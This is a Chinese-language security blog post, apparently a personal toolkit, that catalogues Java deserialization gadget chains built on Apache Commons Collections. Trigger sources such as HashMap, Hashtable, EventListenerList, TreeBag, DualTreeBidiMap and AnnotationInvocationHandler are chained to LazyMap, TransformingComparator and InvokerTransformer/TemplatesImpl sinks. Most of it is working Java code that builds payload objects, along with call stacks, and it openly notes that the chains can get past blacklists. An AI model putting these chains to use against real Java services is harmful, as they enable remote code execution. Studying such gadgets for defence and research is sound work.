前言

最近黑神话悟空火热，大家都开启二周目。现在正直网安特殊时间，时间较多，随准备重走一遍反序列取经路，看看有没有新的触发方式，记录一下，方便以后直接使用。

0x01 commons.collections (map.get)

最经典的反序列化gadget，触发点

LazyMap.get　这里LazyMap可以换成DefaultedMap (**3.1没有这个类**)

```
LazyMap.get()/TransformedMap.setValue()
    ChainedTransformer.transform()
        ConstantTransformer.transform()
            InvokerTransformer.transform()
```

org.apache.commons.collections.map.DefaultedMap#get

```
//-----------------------------------------------------------------------
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        if (value instanceof Transformer) {
            return ((Transformer) value).transform(key);
        }
        return value;
    }
    return map.get(key);
}
```

DefaultedMap的value可控，后面大差不差

```
Map decorate = DefaultedMap.decorate(new HashMap(), new ConstantFactory(1));
Field value = DefaultedMap.class.getDeclaredField("value");
value.setAccessible(true);
value.set(decorate,chain);
```

org.apache.commons.collections.keyvalue.TiedMapEntry

```
Params:  obj  - the object to compare to
Returns: true if equal key and value
public boolean equals(Object obj) {
    if (obj == this) {
        return true;
    }
    if (obj instanceof Map.Entry == false) {
        return false;
    }
    Map.Entry other = (Map.Entry) obj;
    Object value = getValue();
    return
            (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
                    (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
```

```
Implemented per API documentation of Map.Entry.hashCode()
Returns: a suitable hash code
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
            (value == null ? 0 : value.hashCode());
}
```

```
Gets a string version of the entry.
Returns: entry as a string
public String toString() { return getKey() + "=" + getValue(); }
```

```
Gets the value of this entry direct from the map.
Returns: the value
public Object getValue() { return map.get(key); }

Sets the value associated with the key direct onto the map.
Params:  value  - the new value
```

也就是TiedMapEntry的equals，hashCode，toString 都能触发到LazyMap.get。那我们只要找到调用到这个三个方法的头就行。

整理一下，目前我手里的 (还藏了几个)

由于在map里面put时，自动会计算hashcode，所以不罗列。

BadAttributeValueExpException触发tostring

```
        BadAttributeValueExpException badAttributeValueExpException = new
BadAttributeValueExpException(new HashMap<>());
        setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
```

HotSwappableTargetSource & XString 触发tostring

com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)

```
tils.java    cc6_TemplatesImpl.java    XString.java
40  public class XString extends XObject implements XMLString
    Returns:  true if the String  are equal, false otherwise.
    See Also:  String.compareTo(String) ,
               String.equalsIgnoreCase(String)
78  public boolean equals(Object obj2)
79  {
80
81      if (null == obj2)
82          return false;
83
84          // In order to handle the 'all' semantics of
85          // nodeset comparisons, we always call the
86          // nodeset function.
87      else if (obj2 instanceof XNodeSet)
88          return obj2.equals(this);
89      else if (obj2 instanceof XNumber)
90          return obj2.equals(this);
91      else
            return str().equals(obj2.toString());
93  }
```

```
169  public String str()
170  {
171      return (null != m_obj) ? ((String) m_obj) : "";
     }
173
```

注意满足强转类型,

```
    public static HashMap HotSwappabletostring(Object o1)throws Exception{
        Object xstring;
        HotSwappableTargetSource hotSwappableTargetSource1 = new
HotSwappableTargetSource(o1);
      //子类都行
        xstring =
utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForFSB
");
        utils.setFieldValue(xstring, "m_obj", "1");
        xstring =
utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForCha
rs");
        utils.setFieldValue(xstring, "m_obj", new char[5]);
        xstring = new XString(null);
        HotSwappableTargetSource hotSwappableTargetSource2 = new
HotSwappableTargetSource(xstring);
        HashMap val = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
        return val;
    }
```

本质是XString的equals的触发了obj的tostring。那么就用三个来触发了

hashtable触发tostring

```
    public static Hashtable makeTableTstring(Object o) throws Exception{
        Map tHashMap1 = (Map)
createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map tHashMap2 = (Map)
createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        tHashMap1.put(o,"Unam4");
        tHashMap2.put(o,"SpringKill");
        setFieldValue(tHashMap1,"loadFactor",1);
        setFieldValue(tHashMap2,"loadFactor",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(tHashMap1,"Unam4");
        hashtable.put(tHashMap2,"SpringKill");

        tHashMap1.put(o, null);
        tHashMap2.put(o, null);
        return hashtable;
    }
```

EventListenerList触发tostring

javax.swing.event.EventListenerList#readObject

```
/serial/
public class EventListenerList implements Serializable {
    /* A null array to be shared by all empty listener lists*/
    private final static Object[] NULL_ARRAY = new Object[0];
    /* The list of ListenerType - Listener pairs */
    protected transient Object[] listenerList = NULL_ARRAY;

    Passes back the event listener list as an array of ListenerType-listener pairs. Note that for
    performance reasons, this implementation passes back the actual data structure in which the
    listener data is stored internally! This method is guaranteed to pass back a non-null array, so
    that no null-checking is required in fire methods. A zero-length array of Object should be
    returned if there are currently no listeners. WARNING!!! Absolutely NO modification of the data
    contained in this array should be made -- if any such manipulation is necessary, it should be
    done on a copy of the array returned rather than the array itself.

    public Object[] getListenerList() { return listenerList; }
```

```
    private void readObject(ObjectInputStream s)
            throws IOException, ClassNotFoundException {
        listenerList = NULL_ARRAY;
        s.defaultReadObject();
        Object listenerTypeOrNull;

        while (null != (listenerTypeOrNull = s.readObject())) {
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            EventListener l = (EventListener) s.readObject();
            String name = (String) listenerTypeOrNull;
            ReflectUtil.checkPackageAccess(name);
            add((Class<EventListener>) Class.forName(name, initialize: true, cl), l);
        }
    }
```

读入对象，listenerTypeOrNull，然后调用add

```java
public synchronized <T extends EventListener> void add(Class<T> t, T l) {
    if (l == null) {
        // In an ideal world, we would do an assertion here
        // to help developers know they are probably doing
        // something wrong
        return;
    }
    if (!t.isInstance(l)) {
        throw new IllegalArgumentException("Listener " + l +
                " is not of type " + t);
    }
    if (listenerList == NULL_ARRAY) {
        // if this is the first listener added,
        // initialize the lists
```

然后判断我们控制的类是不是属于name这个类，不属于直接可以字符串拼接，造成obj.tostring。l我们可以控制，来看序列化函数

javax.swing.event.EventListenerList#writeObject

```java
private void writeObject(ObjectOutputStream s) throws IOException {
    Object[] lList = listenerList;
    s.defaultWriteObject();

    // Save the non-null event listeners:
    for (int i = 0; i < lList.length; i += 2) {
        Class<?> t = (Class) lList[i];
        EventListener l = (EventListener) lList[i + 1];
        if ((l != null) && (l instanceof Serializable)) {
            s.writeObject(t.getName());
            s.writeObject(l);
        }
    }

    s.writeObject(null);
}
```

在序列化时，会对list里面对象进行强转，所以要找一个属于EventListener的类。

```java
public interface UndoableEditListener extends java.util.EventListener {

    An undoable edit happened

    void undoableEditHappened(UndoableEditEvent e);
}
```

```
*/
public class UndoManager extends CompoundEdit implements UndoableEditListener {
    int indexOfNextAdd;
    int limit;

    Creates a new UndoManager .

    public UndoManager() {
        super();
        indexOfNextAdd = 0;
        limit = 100;
        edits.ensureCapacity(limit);
    }
```

它有一个属性可控，类型Vector，Vector触发tostring，会对list每个对象都进行tostring，完成触发。

```
protected Vector<UndoableEdit> edits;

public CompoundEdit() {
    super();
    inProgress = true;
    edits = new Vector<UndoableEdit>();
}
```

javax.swing.undo.UndoManager#toString

```
Returns a string that displays and identifies this object's properties.
Returns: a String representation of this object
public String toString() {
    return super.toString() + " limit: " + limit +   limit: 100
            " indexOfNextAdd: " + indexOfNextAdd;
}
}
```

javax.swing.undo.CompoundEdit#toString

```
Returns: a String representation of this object
public String toString()
 {
    return super.toString()
            + " inProgress: " + inProgress   inProgress: true
            + " edits: " + edits;
 }
}
```

java.util.Vector#toString

```
Returns a string representation of this Vector, containing the String representation of each
element.

public synchronized String toString() { return super.toString(); }

Returns a view of the portion of this List between fromIndex, inclusive, and toIndex, exclusive.
(If fromIndex and toIndex are equal, the returned List is empty.) The returned List is backed by
this List, so changes in the returned List are reflected in this List, and vice-versa. The returned
List supports all of the optional List operations supported by this List.
This method eliminates the need for explicit range operations (of the sort that commonly exist
```

java.util.AbstractCollection#toString

```
Returns: a string representation of this collection

public String toString() {
    Iterator<E> it = iterator();
    if (!it.hasNext())
        return "[]";

    StringBuilder sb = new StringBuilder();
    sb.append('[');
    for (; ; ) {
        E e = it.next();
        sb.append(e == this ? "(this Collection)" : e);
        if (!it.hasNext())
            return sb.append(']').toString();
        sb.append(',').append(' ');
    }
}
```

然后遍历list对象，加入到sb,

java.lang.String#valueOf(java.lang.Object)

```
2993  public static String valueOf(Object obj) {
2994      return (obj == null) ? "null" : obj.toString();
2995  }
2996

Returns the string representation of the char array argument. The contents of the character
array are copied; subsequent modification of the character array does not affect the returned
```

直接进行tostring。

调用栈

```
javax.swing.event.EventListenerList.readObject
  javax.swing.event.EventListenerList.add
    java.lang.String#valueOf(UndoManager)
      javax.swing.undo.UndoManager#toString
        javax.swing.undo.CompoundEdit#toString
          java.util.Vector#toString
            java.util.AbstractCollection#toString
              java.lang.StringBuilder#append
                java.lang.String#valueOf
                  expobj.toString
```

还是值得学习一下的。

```
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) utils.getFieldValue(manager, "edits");
        vector.add(tiedMapEntry);
        utils.setFieldValue(list, "listenerList", new Object[] { Map.class, manager });
```

hashmap触发tostring

```
    public static HashMap maskmapToString(Object o1, Object o2) throws Exception{
        Map tHashMap1 = (Map)
createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map tHashMap2 = (Map)
createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        tHashMap1.put(o1,null);
        tHashMap2.put(o2,null);
        setFieldValue(tHashMap1,"loadFactor",1);
        setFieldValue(tHashMap2,"loadFactor",1);
        HashMap hashMap = new HashMap();
        Class node = Class.forName("java.util.HashMap$Node");
        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class,
Object.class, node);
        constructor.setAccessible(true);
        Object node1 = constructor.newInstance(0, tHashMap1, null, null);
        Object node2 = constructor.newInstance(0, tHashMap2, null, null);
        utils.setFieldValue(hashMap, "size", 2);
        Object arr = Array.newInstance(node, 2);
        Array.set(arr, 0, node1);
        Array.set(arr, 1, node2);
        utils.setFieldValue(hashMap, "table", arr);
        return hashMap;
    }
```

HotSwappableTargetSource 触发equals

```
        HotSwappableTargetSource hotSwappableTargetSource1 = new
HotSwappableTargetSource(node);
        HotSwappableTargetSource hotSwappableTargetSource2 = new
HotSwappableTargetSource(new XString(null));
        HashMap val = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
```

说实话，脱裤子放屁

Hashtable触发equals

```
    public static Hashtable makeTable(Object o, Object o2) throws Exception{

        Hashtable hashtable = new Hashtable();
        utils.setFieldValue(hashtable,"count",2);
        Class<?> nodeC;
        nodeC = Class.forName("java.util.Hashtable$Entry");

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class,
Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, o, "Unam4", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, o2, "Springkill", null));
        utils.setFieldValue(hashtable, "table", tbl);
        return hashtable;
    }
```

HashMap 触发equals

```
    public static HashMap<Object, Object> makeMap(Object o, Object o2) throws Exception
{
        HashMap<Object, Object> s = new HashMap<>();
         utils.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class,
Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, o, "key1", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, o2, "key2", null));
```

```
        utils.setFieldValue(s, "table", tbl);
        return s;
    }
```

ConcurrentHashMap触发equals

```
   public static ConcurrentHashMap<Object, Object> makeConcurrentMap(Object o, Object
o2) throws Exception {
        ConcurrentHashMap<Object, Object> s = new ConcurrentHashMap<>();
        utils.setFieldValue(s, "sizeCtl", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class,
Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, o, "zZ", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, o2, "yy", null));
        utils.setFieldValue(s, "table", tbl);
        return s;
    }
```

AnnotationInvocationHandler触发tostring （jdk<8u20）

sun.reflect.annotation.AnnotationInvocationHandler#readObject

```java
private void readObject(java.io.ObjectInputStream s)

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial
         stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        foundType: value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
```

可以这个vaule直接和字符拼接，会触发value.tostring。value是memberValues 这个map里的vaule，可控。

```
        HashMap<Object, Object> map1 = new HashMap<>();
        map1.put("value",tiedMapEntry);
        Class<?> AnnotationInvocationHandler =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> Anotationdeclared =
AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        Anotationdeclared.setAccessible(true);
        InvocationHandler h = (InvocationHandler)
Anotationdeclared.newInstance(Target.class, map1);
```

Flat3Map触发equals

org.apache.commons.collections.map.Flat3Map#readObject

```java
Read the map in using a custom routine.

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    int count = in.readInt();
    if (count > 3) {
        delegateMap = createDelegateMap();
    }
    for (int i = count; i > 0; i--) {
        put(in.readObject(), in.readObject());
    }
}
```

```java
Returns: the value previously mapped to this key, null if none

public Object put(Object key, Object value) {
    key = convertKey(key);
    int hashCode = hash(key);
    int index = hashIndex(hashCode, data.length);
    HashEntry entry = data[index];
    while (entry != null) {
```

```java
protected int hash(Object key) {
    // same as JDK 1.4
    int h = key.hashCode();
    h += ~(h << 9);
```

可以看到和hashmap一样，所有都能用。

最后将上面source，flow，sink 一一组合就可以得到一些新gadget。

AnnotationInvocationHandle触发map.get

sun.reflect.annotation.AnnotationInvocationHandler#invoke

```java
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    public Object invoke(Object proxy, Method method, Object[] args) {

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError( detailMessage: "Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);
```

memberValues可控，map类型.

```
        Class<?> AnnotationInvocationHandler =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> Anotationdeclared =
                AnnotationInvocationHandler.getDeclaredConstructor(Class.class,
Map.class);
        Anotationdeclared.setAccessible(true);
         InvocationHandler h = (InvocationHandler)
Anotationdeclared.newInstance(Override.class, lazymap/DefaultedMap);
        Map Mapproxy =(Map)
Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class[]
{Map.class}, h);
        Object instance =Anotationdeclared.newInstance(Override.class, Mapproxy);
```

0x02 commons.collections (TransformingComparator.compare)

```
    TransformingComparator.compare()
        ChainedTransformer.transform()
                InvokerTransformer.transform()
                    InstantiateTransformer.transform()
                        TemplatesImpl.newTransformer()
```

org.apache.commons.collections.comparators.TransformingComparator#compare

```java
public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}
```

transform这个属性可控。所以需要调用compare

目前本人收集的

PriorityQueue触发compare

```java
PriorityQueue queue = new PriorityQueue(1);
utils.setFieldValue(queue, "size", 2);
utils.setFieldValue(queue, "comparator", Tcomparator);
utils.setFieldValue(queue, "queue", new Object[]{Runtime.class,1});
```

TreeBag触发compare

org.apache.commons.collections.bag.TreeBag#readObject

```java
Read the bag in using a custom routine.
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    Comparator comp = (Comparator) in.readObject();
    super.doReadObject(new TreeMap(comp), in);
}
```

```java
protected void doReadObject(Map map, ObjectInputStream in) throws IOException, ClassNotFoundException {
    this.map = map;
    int entrySize = in.readInt();
    for (int i = 0; i < entrySize; i++) {
        Object obj = in.readObject();
        int count = in.readInt();
        map.put(obj, new MutableInteger(count));
        size += count;
    }
}
```

这里map改为TreeMap类型

java.util.TreeMap#put

```
ordering, or its comparator does not permit null keys
535 public V put(K key, V value) {
536     Entry<K, V> t = root;
537     if (t == null) {
538         compare(key, key); // type (and possibly null) check
539
540         root = new Entry<>(key, value, parent: null);
541         size = 1;
542         modCount++;
543         return null;
544     }
545     int cmp;
546     Entry<K, V> parent;
```

java.util.TreeMap#compare

```
1288 /unchecked/
1289 final int compare(Object k1, Object k2) {
1290     return comparator == null ? ((Comparable<? super K>) k1).compareTo((K) k2)
1291             : comparator.compare((K) k1, (K) k2);
1292 }
1293
Test two values for equality. Differs from o1.equals(o2) only in that it copes with null o1
properly.
```

compare属性可控

```
//        TransformingComparator comparator  = new TransformingComparator(chain);
        TreeBag treeBag = new TreeBag(comparator);
        treeBag.add(Runtime.class);
```

以上任意组合，就可以得到新gadget。这个点也可以走到cb的gadget（一般cc、cb都有的情况.绕黑名单）。

hashmap触发compare

```
java.util.AbstractMap#equals
```

具体可以操作这个类，具体流程可以看看我这篇文章

https://unam4.github.io/2024/06/03/%E6%96%B0jdk%E5%8E%9F%E7%94%9F%E5%85%A5%E5%8F%A3%E5%88%B0jndi/

```java
     */
    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?, ?> m = (Map<?, ?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K, V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K, V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key) == null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
```

java.util.TreeMap#get

```java
    public V get(Object key) {
        Entry<K, V> p = getEntry(key);
        return (p == null ? null : p.value);
    }
```

```java
        ordering, or its comparator does not permit null keys
    final Entry<K, V> getEntry(Object key) {
        // Offload comparator-based version for sake of performance
        if (comparator != null)
            return getEntryUsingComparator(key);
        if (key == null)
            throw new NullPointerException();
        /unchecked/
        Comparable<? super K> k = (Comparable<? super K>) key;
```

```java
final Entry<K, V> getEntryUsingComparator(Object key) {
    /unchecked/
    K k = (K) key;
    Comparator<? super K> cpr = comparator;
    if (cpr != null) {
        Entry<K, V> p = root;
        while (p != null) {
            int cmp = cpr.compare(k, p.key);
            if (cmp < 0)
                p = p.left;
            else if (cmp > 0)
```

comparator可控，k可控，也就是改成cc4，TransformingComparator或者cb

```java
    public static HashMap<Object, Object>hashmap2compare(Comparator o1, Object o2)
throws Exception {
        TreeMap treeMap1 = new TreeMap(o1);
        treeMap1.put(o2, 1);
        TreeMap treeMap2 = new TreeMap(o1);
        treeMap2.put(o2,1);
        HashMap<Object, Object> s = new HashMap<>();
        utils.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class,
Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, treeMap1, "key1", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, treeMap2, "key2", null));
        utils.setFieldValue(s, "table", tbl);
        return s;
    }
```

Hashtable 触发compare

不多说，hashmap可以，那么其他map也行，上科技。

```
    public static Hashtable<Object, Object>table2compare(Comparator o1, Object o2)
throws Exception {
        TreeMap treeMap1 = new TreeMap(o1);
        treeMap1.put(o2, 1);
        TreeMap treeMap2 = new TreeMap(o1);
        treeMap2.put(o2,1);
        Hashtable hashtable = new Hashtable();
        utils.setFieldValue(hashtable,"count",2);
        Class<?> nodeC;
        nodeC = Class.forName("java.util.Hashtable$Entry");

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class,
Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, treeMap1, "Unam4", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, treeMap2, "Springkill", null));
        utils.setFieldValue(hashtable, "table", tbl);
        return hashtable;
    }
```

ConcurrentHashMap触发compare

```
    public static ConcurrentHashMap<Object, Object> ConcurrentMap2cpmpare(Comparator
o1, Object o2) throws Exception {
        TreeMap treeMap1 = new TreeMap(o1);
        treeMap1.put(o2, 1);
        TreeMap treeMap2 = new TreeMap(o1);
        treeMap2.put(o2,1);
        ConcurrentHashMap<Object, Object> s = new ConcurrentHashMap<>();
        utils.setFieldValue(s, "sizeCtl", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class,
Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, treeMap1, "unam4", null));
```

```
        Array.set(tbl, 1, nodeCons.newInstance(0, treeMap2, "springkill", null));
        utils.setFieldValue(s, "table", tbl);
        return s;
    }
```

AnnotationInvocationHandler触发compare （jdk<8u20）

没什么好说的，动态代理结合treemap触发compare

sun.reflect.annotation.AnnotationInvocationHandler#readObject

```
    private void readObject(java.io.ObjectInputStream s)
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
```

```
    public Object invoke(Object proxy, Method method, Object[] args) {
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

```

```
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
```

值得注意的是，memberValues 是map的key是string类型，也就是无法用来触发cb

```
    public static Object annotationhander2compare(Map o) throws Exception {
        Class<?> AnnotationInvocationHandler =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> Anotationdeclared =
                AnnotationInvocationHandler.getDeclaredConstructor(Class.class,
Map.class);
        Anotationdeclared.setAccessible(true);
        InvocationHandler h = (InvocationHandler)
Anotationdeclared.newInstance(Override.class, o);
        Map Mapproxy =(Map)
Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class[]
{Map.class}, h);
        Object o1 =Anotationdeclared.newInstance(Override.class, Mapproxy);
        return o1;
    }
```

对应cc4的调用

```
Exception in thread "main" org.apache.commons.collections4.FunctorException:
InstantiateTransformer: Constructor threw an exception
  at
org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTr
ansformer.java:124)
  at
org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTr
ansformer.java:32)
  at
org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransforme
r.java:112)
  at
org.apache.commons.collections4.comparators.TransformingComparator.compare(Transforming
Comparator.java:81)
  at java.util.TreeMap.getEntryUsingComparator(TreeMap.java:376)
  at java.util.TreeMap.getEntry(TreeMap.java:345)
  at java.util.TreeMap.get(TreeMap.java:278)
  at
sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.j
ava:77)
  at com.sun.proxy.$Proxy1.entrySet(Unknown Source)
  at
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandl
er.java:444)
```

DualTreeBidiMapr触发compare

org.apache.commons.collections.bidimap.DualTreeBidiMap#readObject

```
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        maps[0] = new TreeMap(comparator);
        maps[1] = new TreeMap(comparator);
        Map map = (Map) in.readObject();
        putAll(map);
    }

}
```

对treep赋值

```
public abstract class AbstractDualBidiMap implements BidiMap {

    Delegate map array. The first map contains standard entries, and the second contains inverses.

    protected transient final Map[] maps = new Map[2];
    Inverse view of this map.
```

父类的map是一个map数组。

```
    public void putAll(Map map) {
        for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
            Map.Entry entry = (Map.Entry) it.next();
            put(entry.getKey(), entry.getValue());
        }
    }
```

然后它会map中所有的键值对，然后得到一个迭代器，进行遍历put进treemap。

```
    public V put(K key, V value) {   value: 1    key: "uanm4"
        Entry<K, V> t = root;   t (slot_3): null
        if (t == null) {   t (slot_3): null
            compare(key, key); // type (and possibly null) check   key: "uanm4"

            root = new Entry<>(key, value, parent: null);
            size = 1;
            modCount++;
            return null;
        }
        int cmp;
```

然后进行compare，后面没什么好说的，用cb时，把这个key，vaule 改成对应要触发getter的对象就行。

```
    public static DualTreeBidiMap dualTreeBidiMap2compare(Comparator o1, Object o2)
throws Exception {
        DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap();
        Map[] mapArray = new HashMap[1];
        mapArray[0] = new HashMap();
        // 兼容cb，否则可能报错
        mapArray[0].put(o2, o2);
        utils.setFieldValue(dualTreeBidiMap, "comparator", o1);
        utils.setFieldValue(dualTreeBidiMap, "maps", mapArray);
        return dualTreeBidiMap;
    }
```

0x03 commons.collections (InstantiateTransformer)

org.apache.commons.collections.functors.InstantiateTransformer#transform

```
public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                            + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
```

鸡肋，只能进行构造函数的实例化。

目前公开也就TrAXFilter.TrAXFilter()

```
public TrAXFilter(Templates templates) throws
        TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}
```

```
InstantiateTransformer.transform()
  TrAXFilter.TrAXFilter()
    TemplatesImpl.newTransformer()
```

map.get 触发InstantiateTransformer

所以我们只要把前面map.get 触发value.transform改成InstantiateTransformer就完事了

0x04 commons.collections (InvokerTransformer)

没什么好说的，配合ConstantTransformer，ChainedTransformer可以调用任意类任意方法。

0x05 AnnotationInvocationHandle结合TransformedMap触发Transforme

可惜setValue里面不可控，组装起来不怎么顺畅。(不能直接InstantiateTransformer，InvokerTransformer)

```
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
        value instanceof ExceptionProxy)) {
    memberValue.setValue(
        new AnnotationTypeMismatchExceptionProxy(
            foundType: value.getClass() + "[" + value + "]").setMember(
                annotationType.members().get(name)));
}
}
```

TransformedMap父类AbstractInputCheckedMapDecorator.MapEntry#setValue/EntrySet

```
//----------------------------------------------------------------------
public Set entrySet() {
    if (isSetValueChecking()) {
        return new EntrySet(map.entrySet(), parent: this);
    } else {
        return map.entrySet();
    }
}
```

```
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
    super(set);
    this.parent = parent;
}
```

对parent完成赋值

```java
184        private final AbstractInputCheckedMapDecorator parent;
185
186        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
187            super(entry);
188            this.parent = parent;
189        }
190
191        public Object setValue(Object value) {
192            value = parent.checkSetValue(value);
193            return entry.setValue(value);
194        }
195    }
```

```java
Since:   Commons Collections 3.1
203     protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
206
        Override to only return true when there is a value transformer.
        Returns: true if a value transformer is in use
        Since:   Commons Collections 3.1
```

最后完成触发。

0x06 总结

